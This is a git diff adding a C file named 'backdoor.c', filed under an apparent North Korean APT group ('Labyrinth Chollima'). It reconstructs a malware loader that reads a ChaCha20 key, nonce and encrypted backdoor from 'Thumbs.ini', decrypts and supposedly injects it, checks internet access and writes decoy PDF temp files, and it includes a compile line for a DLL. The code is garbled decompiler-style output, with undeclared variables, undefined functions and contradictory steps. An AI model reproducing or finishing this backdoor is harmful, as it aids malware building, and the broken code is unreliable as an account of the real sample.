diff --git a/North Koreans APT/Labyrinth Chollima/backdoor.c b/North Koreans APT/Labyrinth Chollima/backdoor.c
new file mode 100644
index 0000000..7444bee
--- /dev/null
+++ b/North Koreans APT/Labyrinth Chollima/backdoor.c	
@@ -0,0 +1,107 @@
+
+// manual compile: x86_64-w64-mingw32-gcc -o backdoor.dll backdoor.c -lwindows
+
+#include <Windows.h>
+
+// Function to decrypt and inject the backdoor
+void decryptAndInjectBackdoor(LPVOID v6, DWORD v4, BYTE* Buffer, BYTE* v11, DWORD v8) {
+    // Decrypt the backdoor using ChaCha20
+    sub_180001000(v9, Buffer, v11, v8);
+    sub_1800011F0(v9, v4, v6);
+
+    // Check if the decryption was successful
+    if (v4) {
+        // Initialize the ChaCha20 cipher
+        sub_180001C70(v6);
+
+        // Inject the decrypted backdoor
+        LocalFree(v6);
+        return 0LL;
+    }
+}
+
+int main() {
+    // Create a file handle for "Thumbs.ini" with read-only access
+    HANDLE FileA = CreateFileA(FileName, 0x80000000, 1u, OLL, 3u, 0x80u, 0LL);
+    v2 = FileA;
+
+    // Check if the file was opened successfully
+    if (FileA == (HANDLE)-1LL) {
+        return 0xFFFFFFFFLL;
+    }
+
+    // Get the file size
+    DWORD FileSize = GetFileSize(FileA, OLL);
+
+    // Check if the file size is at least 44 bytes
+    if (FileSize < 0x2C) {
+        return 0xFFFFFFFFLL;
+    }
+
+    // Read the key (32 bytes) and nonce (12 bytes) from the file
+    BYTE Buffer[32];
+    DWORD NumberOfBytesRead;
+    if (!ReadFile(v2, Buffer, 0x20u, &NumberOfBytesRead, OLL) || 
+        NumberOfBytesRead != 32 || 
+        !ReadFile(v2, v11, 0xCu, &NumberOfBytesRead, OLL) || 
+        NumberOfBytesRead != 12) {
+        CloseHandle(v2);
+        return 0xFFFFFFFFLL;
+    }
+
+    // Calculate the backdoor size
+    DWORD v4 = FileSize - 44;
+
+    // Allocate memory for the backdoor
+    LPVOID v5 = LocalAlloc(0x40u, v4 + 1);
+    v6 = v5;
+
+    // Check if the allocation was successful
+    if (v5) {
+        // Read the encrypted backdoor from the file
+        if (ReadFile(v2, v5, v4, &NumberOfBytesRead, OLL) && NumberOfBytesRead == v4) {
+            CloseHandle(v2);
+
+            // Decrypt and inject the backdoor
+            decryptAndInjectBackdoor(v6, v4, Buffer, v11, v8);
+        }
+    }
+
+    // Create a temporary file path for the decrypted PDF
+    WCHAR PathName[260];
+    GetTempPathW(0x104u, PathName);
+    GetTempFileNameW(PathName, OLL, 0, PathName);
+
+    // Create the decrypted PDF file
+    HANDLE v8 = CreateFileW(PathName, 0x40000000u, 2u, OLL, 2u, 0x80u, 0LL);
+    if (v8 == (HANDLE)-1LL) {
+        goto LABEL_48;
+    }
+
+    // Pass the decrypted PDF path to sumatraPDF
+    v9 = *(WORD*)(v2 + 8);
+
+    // Initialize the ChaCha20 cipher
+    sub_18000B320((unsigned int)v34, (unsigned int)v47, (unsigned int)&v39, (unsigned int)&v29, 20);
+
+    // Check if there is an internet connection to google.com
+    if (InternetCheckConnectionW(L"http://www.google.com", 1u, 0)) {
+        // Pass the decrypted PDF path to sumatraPDF
+        v9 = *(WORD*)(v2 + 8);
+    }
+
+    // Create another temporary file path for the decrypted PDF
+    GetTempPathW(0x104u, PathName);
+    GetTempFileNameW(PathName, OLL, 0, PathName);
+
+    // Create the decrypted PDF file
+    v8 = CreateFileW(PathName, 0x40000000u, 2u, OLL, 2u, 0x80u, 0LL);
+    if (v8 == (HANDLE)-1LL) {
+        goto LABEL_49;
+    }
+
+    // Initialize the ChaCha20 cipher
+    sub_18000B320((unsigned int)v36, (unsigned int)v49, (unsigned int)&v41, (unsigned int)&v32, 20);
+
+    return 0;
+}